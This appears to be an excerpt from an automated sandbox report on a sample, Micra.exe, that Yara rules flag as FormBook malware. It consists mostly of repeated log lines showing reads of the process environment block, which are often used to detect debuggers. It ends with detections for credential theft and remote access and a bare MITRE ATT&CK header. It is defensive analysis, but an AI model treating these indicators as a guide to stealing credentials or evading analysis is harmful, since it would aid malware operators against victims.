Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B2D3 mov eax, dword ptr fs:[00000030h]	5_2_3575B2D3
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578F2D0 mov eax, dword ptr fs:[00000030h]	5_2_3578F2D0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578F2D0 mov eax, dword ptr fs:[00000030h]	5_2_3578F2D0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357692C5 mov eax, dword ptr fs:[00000030h]	5_2_357692C5
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357692C5 mov eax, dword ptr fs:[00000030h]	5_2_357692C5
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578B2C0 mov eax, dword ptr fs:[00000030h]	5_2_3578B2C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578B2C0 mov eax, dword ptr fs:[00000030h]	5_2_3578B2C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578B2C0 mov eax, dword ptr fs:[00000030h]	5_2_3578B2C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578B2C0 mov eax, dword ptr fs:[00000030h]	5_2_3578B2C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578B2C0 mov eax, dword ptr fs:[00000030h]	5_2_3578B2C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578B2C0 mov eax, dword ptr fs:[00000030h]	5_2_3578B2C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578B2C0 mov eax, dword ptr fs:[00000030h]	5_2_3578B2C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E92BC mov eax, dword ptr fs:[00000030h]	5_2_357E92BC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E92BC mov eax, dword ptr fs:[00000030h]	5_2_357E92BC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E92BC mov ecx, dword ptr fs:[00000030h]	5_2_357E92BC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E92BC mov ecx, dword ptr fs:[00000030h]	5_2_357E92BC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581B256 mov eax, dword ptr fs:[00000030h]	5_2_3581B256
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581B256 mov eax, dword ptr fs:[00000030h]	5_2_3581B256
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F72A0 mov eax, dword ptr fs:[00000030h]	5_2_357F72A0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F72A0 mov eax, dword ptr fs:[00000030h]	5_2_357F72A0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579329E mov eax, dword ptr fs:[00000030h]	5_2_3579329E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579329E mov eax, dword ptr fs:[00000030h]	5_2_3579329E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35767D75 mov eax, dword ptr fs:[00000030h]	5_2_35767D75
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35767D75 mov eax, dword ptr fs:[00000030h]	5_2_35767D75
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35757D41 mov eax, dword ptr fs:[00000030h]	5_2_35757D41
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BD4E mov eax, dword ptr fs:[00000030h]	5_2_3579BD4E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BD4E mov eax, dword ptr fs:[00000030h]	5_2_3579BD4E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EDD47 mov eax, dword ptr fs:[00000030h]	5_2_357EDD47
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582DDC6 mov eax, dword ptr fs:[00000030h]	5_2_3582DDC6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581DDC7 mov eax, dword ptr fs:[00000030h]	5_2_3581DDC7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EFD2A mov eax, dword ptr fs:[00000030h]	5_2_357EFD2A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EFD2A mov eax, dword ptr fs:[00000030h]	5_2_357EFD2A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35773D20 mov eax, dword ptr fs:[00000030h]	5_2_35773D20
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35773D00 mov eax, dword ptr fs:[00000030h]	5_2_35773D00
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763DD0 mov eax, dword ptr fs:[00000030h]	5_2_35763DD0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763DD0 mov eax, dword ptr fs:[00000030h]	5_2_35763DD0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EDDC0 mov eax, dword ptr fs:[00000030h]	5_2_357EDDC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577DDB1 mov eax, dword ptr fs:[00000030h]	5_2_3577DDB1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577DDB1 mov eax, dword ptr fs:[00000030h]	5_2_3577DDB1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577DDB1 mov eax, dword ptr fs:[00000030h]	5_2_3577DDB1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EDDB1 mov eax, dword ptr fs:[00000030h]	5_2_357EDDB1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35835D50 mov eax, dword ptr fs:[00000030h]	5_2_35835D50
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35835D50 mov eax, dword ptr fs:[00000030h]	5_2_35835D50
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35799DAF mov eax, dword ptr fs:[00000030h]	5_2_35799DAF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35821D5A mov eax, dword ptr fs:[00000030h]	5_2_35821D5A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35821D5A mov eax, dword ptr fs:[00000030h]	5_2_35821D5A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35821D5A mov eax, dword ptr fs:[00000030h]	5_2_35821D5A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35821D5A mov eax, dword ptr fs:[00000030h]	5_2_35821D5A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F5DA0 mov eax, dword ptr fs:[00000030h]	5_2_357F5DA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F5DA0 mov eax, dword ptr fs:[00000030h]	5_2_357F5DA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F5DA0 mov eax, dword ptr fs:[00000030h]	5_2_357F5DA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F5DA0 mov ecx, dword ptr fs:[00000030h]	5_2_357F5DA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759D96 mov eax, dword ptr fs:[00000030h]	5_2_35759D96
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759D96 mov eax, dword ptr fs:[00000030h]	5_2_35759D96
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35759D96 mov ecx, dword ptr fs:[00000030h]	5_2_35759D96
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35819D70 mov eax, dword ptr fs:[00000030h]	5_2_35819D70
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35819D70 mov eax, dword ptr fs:[00000030h]	5_2_35819D70
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575FD80 mov eax, dword ptr fs:[00000030h]	5_2_3575FD80
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35791C7C mov eax, dword ptr fs:[00000030h]	5_2_35791C7C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771C60 mov eax, dword ptr fs:[00000030h]	5_2_35771C60
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FCAB mov eax, dword ptr fs:[00000030h]	5_2_3581FCAB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35757C40 mov eax, dword ptr fs:[00000030h]	5_2_35757C40
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35757C40 mov ecx, dword ptr fs:[00000030h]	5_2_35757C40
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35757C40 mov eax, dword ptr fs:[00000030h]	5_2_35757C40
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35757C40 mov eax, dword ptr fs:[00000030h]	5_2_35757C40
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580FCDF mov eax, dword ptr fs:[00000030h]	5_2_3580FCDF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580FCDF mov eax, dword ptr fs:[00000030h]	5_2_3580FCDF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580FCDF mov eax, dword ptr fs:[00000030h]	5_2_3580FCDF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EBC10 mov eax, dword ptr fs:[00000030h]	5_2_357EBC10
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EBC10 mov eax, dword ptr fs:[00000030h]	5_2_357EBC10
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EBC10 mov ecx, dword ptr fs:[00000030h]	5_2_357EBC10
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35801CF9 mov eax, dword ptr fs:[00000030h]	5_2_35801CF9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35801CF9 mov eax, dword ptr fs:[00000030h]	5_2_35801CF9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35801CF9 mov eax, dword ptr fs:[00000030h]	5_2_35801CF9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3583BC01 mov eax, dword ptr fs:[00000030h]	5_2_3583BC01
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3583BC01 mov eax, dword ptr fs:[00000030h]	5_2_3583BC01
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582DC27 mov eax, dword ptr fs:[00000030h]	5_2_3582DC27
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582DC27 mov eax, dword ptr fs:[00000030h]	5_2_3582DC27
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582DC27 mov eax, dword ptr fs:[00000030h]	5_2_3582DC27
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E3CDB mov eax, dword ptr fs:[00000030h]	5_2_357E3CDB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E3CDB mov eax, dword ptr fs:[00000030h]	5_2_357E3CDB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E3CDB mov eax, dword ptr fs:[00000030h]	5_2_357E3CDB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771CC7 mov eax, dword ptr fs:[00000030h]	5_2_35771CC7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771CC7 mov eax, dword ptr fs:[00000030h]	5_2_35771CC7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35795CC0 mov eax, dword ptr fs:[00000030h]	5_2_35795CC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35795CC0 mov eax, dword ptr fs:[00000030h]	5_2_35795CC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35831C3C mov eax, dword ptr fs:[00000030h]	5_2_35831C3C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581FC4F mov eax, dword ptr fs:[00000030h]	5_2_3581FC4F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575DCA0 mov eax, dword ptr fs:[00000030h]	5_2_3575DCA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BCA0 mov eax, dword ptr fs:[00000030h]	5_2_3579BCA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BCA0 mov eax, dword ptr fs:[00000030h]	5_2_3579BCA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BCA0 mov ecx, dword ptr fs:[00000030h]	5_2_3579BCA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BCA0 mov eax, dword ptr fs:[00000030h]	5_2_3579BCA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763C84 mov eax, dword ptr fs:[00000030h]	5_2_35763C84
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763C84 mov eax, dword ptr fs:[00000030h]	5_2_35763C84
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763C84 mov eax, dword ptr fs:[00000030h]	5_2_35763C84
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763C84 mov eax, dword ptr fs:[00000030h]	5_2_35763C84
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35803F90 mov eax, dword ptr fs:[00000030h]	5_2_35803F90
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35803F90 mov eax, dword ptr fs:[00000030h]	5_2_35803F90
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578BF60 mov eax, dword ptr fs:[00000030h]	5_2_3578BF60
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35761F50 mov eax, dword ptr fs:[00000030h]	5_2_35761F50
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35797F51 mov eax, dword ptr fs:[00000030h]	5_2_35797F51
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357DFF42 mov eax, dword ptr fs:[00000030h]	5_2_357DFF42
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581BFC0 mov ecx, dword ptr fs:[00000030h]	5_2_3581BFC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581BFC0 mov eax, dword ptr fs:[00000030h]	5_2_3581BFC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35833FC0 mov eax, dword ptr fs:[00000030h]	5_2_35833FC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E1F13 mov eax, dword ptr fs:[00000030h]	5_2_357E1F13
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EDF10 mov eax, dword ptr fs:[00000030h]	5_2_357EDF10
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BFEC mov eax, dword ptr fs:[00000030h]	5_2_3579BFEC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BFEC mov eax, dword ptr fs:[00000030h]	5_2_3579BFEC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BFEC mov eax, dword ptr fs:[00000030h]	5_2_3579BFEC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575BFD0 mov eax, dword ptr fs:[00000030h]	5_2_3575BFD0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E3FD7 mov eax, dword ptr fs:[00000030h]	5_2_357E3FD7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581DF2F mov eax, dword ptr fs:[00000030h]	5_2_3581DF2F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35791FCD mov eax, dword ptr fs:[00000030h]	5_2_35791FCD
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35791FCD mov eax, dword ptr fs:[00000030h]	5_2_35791FCD
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35791FCD mov eax, dword ptr fs:[00000030h]	5_2_35791FCD
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763FC0 mov eax, dword ptr fs:[00000030h]	5_2_35763FC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35807F3E mov eax, dword ptr fs:[00000030h]	5_2_35807F3E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A1FB8 mov eax, dword ptr fs:[00000030h]	5_2_357A1FB8
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BFB0 mov eax, dword ptr fs:[00000030h]	5_2_3579BFB0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92 mov ecx, dword ptr fs:[00000030h]	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92 mov ecx, dword ptr fs:[00000030h]	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92 mov eax, dword ptr fs:[00000030h]	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92 mov ecx, dword ptr fs:[00000030h]	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92 mov ecx, dword ptr fs:[00000030h]	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92 mov eax, dword ptr fs:[00000030h]	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92 mov ecx, dword ptr fs:[00000030h]	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92 mov ecx, dword ptr fs:[00000030h]	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92 mov eax, dword ptr fs:[00000030h]	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92 mov ecx, dword ptr fs:[00000030h]	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92 mov ecx, dword ptr fs:[00000030h]	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92 mov eax, dword ptr fs:[00000030h]	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575FF90 mov edi, dword ptr fs:[00000030h]	5_2_3575FF90
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575BE78 mov ecx, dword ptr fs:[00000030h]	5_2_3575BE78
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BE51 mov eax, dword ptr fs:[00000030h]	5_2_3579BE51
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BE51 mov eax, dword ptr fs:[00000030h]	5_2_3579BE51
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580DEB0 mov eax, dword ptr fs:[00000030h]	5_2_3580DEB0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580DEB0 mov ecx, dword ptr fs:[00000030h]	5_2_3580DEB0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580DEB0 mov eax, dword ptr fs:[00000030h]	5_2_3580DEB0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580DEB0 mov eax, dword ptr fs:[00000030h]	5_2_3580DEB0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580DEB0 mov eax, dword ptr fs:[00000030h]	5_2_3580DEB0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581DEB0 mov eax, dword ptr fs:[00000030h]	5_2_3581DEB0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35775E40 mov eax, dword ptr fs:[00000030h]	5_2_35775E40
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35761E30 mov eax, dword ptr fs:[00000030h]	5_2_35761E30
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35761E30 mov eax, dword ptr fs:[00000030h]	5_2_35761E30
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35819EDF mov eax, dword ptr fs:[00000030h]	5_2_35819EDF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35819EDF mov eax, dword ptr fs:[00000030h]	5_2_35819EDF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582BEE6 mov eax, dword ptr fs:[00000030h]	5_2_3582BEE6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582BEE6 mov eax, dword ptr fs:[00000030h]	5_2_3582BEE6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582BEE6 mov eax, dword ptr fs:[00000030h]	5_2_3582BEE6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582BEE6 mov eax, dword ptr fs:[00000030h]	5_2_3582BEE6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575DE10 mov eax, dword ptr fs:[00000030h]	5_2_3575DE10
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579BE17 mov eax, dword ptr fs:[00000030h]	5_2_3579BE17
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763EF4 mov eax, dword ptr fs:[00000030h]	5_2_35763EF4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763EF4 mov eax, dword ptr fs:[00000030h]	5_2_35763EF4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763EF4 mov eax, dword ptr fs:[00000030h]	5_2_35763EF4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35793EEB mov ecx, dword ptr fs:[00000030h]	5_2_35793EEB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35793EEB mov eax, dword ptr fs:[00000030h]	5_2_35793EEB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35793EEB mov eax, dword ptr fs:[00000030h]	5_2_35793EEB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35833E10 mov eax, dword ptr fs:[00000030h]	5_2_35833E10
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35833E10 mov eax, dword ptr fs:[00000030h]	5_2_35833E10
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35763EE1 mov eax, dword ptr fs:[00000030h]	5_2_35763EE1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35835E37 mov eax, dword ptr fs:[00000030h]	5_2_35835E37
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35835E37 mov eax, dword ptr fs:[00000030h]	5_2_35835E37
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35835E37 mov eax, dword ptr fs:[00000030h]	5_2_35835E37
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575BEC0 mov eax, dword ptr fs:[00000030h]	5_2_3575BEC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575BEC0 mov eax, dword ptr fs:[00000030h]	5_2_3575BEC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576BEC0 mov eax, dword ptr fs:[00000030h]	5_2_3576BEC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576BEC0 mov eax, dword ptr fs:[00000030h]	5_2_3576BEC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576BEC0 mov eax, dword ptr fs:[00000030h]	5_2_3576BEC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576BEC0 mov eax, dword ptr fs:[00000030h]	5_2_3576BEC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576BEC0 mov eax, dword ptr fs:[00000030h]	5_2_3576BEC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576BEC0 mov eax, dword ptr fs:[00000030h]	5_2_3576BEC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576BEC0 mov eax, dword ptr fs:[00000030h]	5_2_3576BEC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576BEC0 mov eax, dword ptr fs:[00000030h]	5_2_3576BEC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578FEC0 mov eax, dword ptr fs:[00000030h]	5_2_3578FEC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EFEC5 mov eax, dword ptr fs:[00000030h]	5_2_357EFEC5
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581DE46 mov eax, dword ptr fs:[00000030h]	5_2_3581DE46
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575DEA5 mov eax, dword ptr fs:[00000030h]	5_2_3575DEA5
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575DEA5 mov ecx, dword ptr fs:[00000030h]	5_2_3575DEA5
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EDEAA mov eax, dword ptr fs:[00000030h]	5_2_357EDEAA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575FEA0 mov eax, dword ptr fs:[00000030h]	5_2_3575FEA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35809E56 mov ecx, dword ptr fs:[00000030h]	5_2_35809E56
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EDE9B mov eax, dword ptr fs:[00000030h]	5_2_357EDE9B
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35793E8F mov eax, dword ptr fs:[00000030h]	5_2_35793E8F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578D978 mov eax, dword ptr fs:[00000030h]	5_2_3578D978
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579B970 mov eax, dword ptr fs:[00000030h]	5_2_3579B970
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579B970 mov eax, dword ptr fs:[00000030h]	5_2_3579B970
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579B970 mov eax, dword ptr fs:[00000030h]	5_2_3579B970
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581598D mov eax, dword ptr fs:[00000030h]	5_2_3581598D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581598D mov eax, dword ptr fs:[00000030h]	5_2_3581598D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581598D mov eax, dword ptr fs:[00000030h]	5_2_3581598D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35757967 mov eax, dword ptr fs:[00000030h]	5_2_35757967
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579196E mov eax, dword ptr fs:[00000030h]	5_2_3579196E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579196E mov eax, dword ptr fs:[00000030h]	5_2_3579196E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35787962 mov eax, dword ptr fs:[00000030h]	5_2_35787962
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E5960 mov eax, dword ptr fs:[00000030h]	5_2_357E5960
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35779950 mov eax, dword ptr fs:[00000030h]	5_2_35779950
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35779950 mov eax, dword ptr fs:[00000030h]	5_2_35779950
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EB953 mov eax, dword ptr fs:[00000030h]	5_2_357EB953

Source: C:\Users\user\Desktop\Micra.exe

Process created: C:\Users\user\Desktop\Micra.exe "C:\Users\user\Desktop\Micra.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Micra.exe

0_2_004031BB

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match

File source: 00000005.00000002.4039386089.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match

File source: 00000005.00000002.4039386089.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
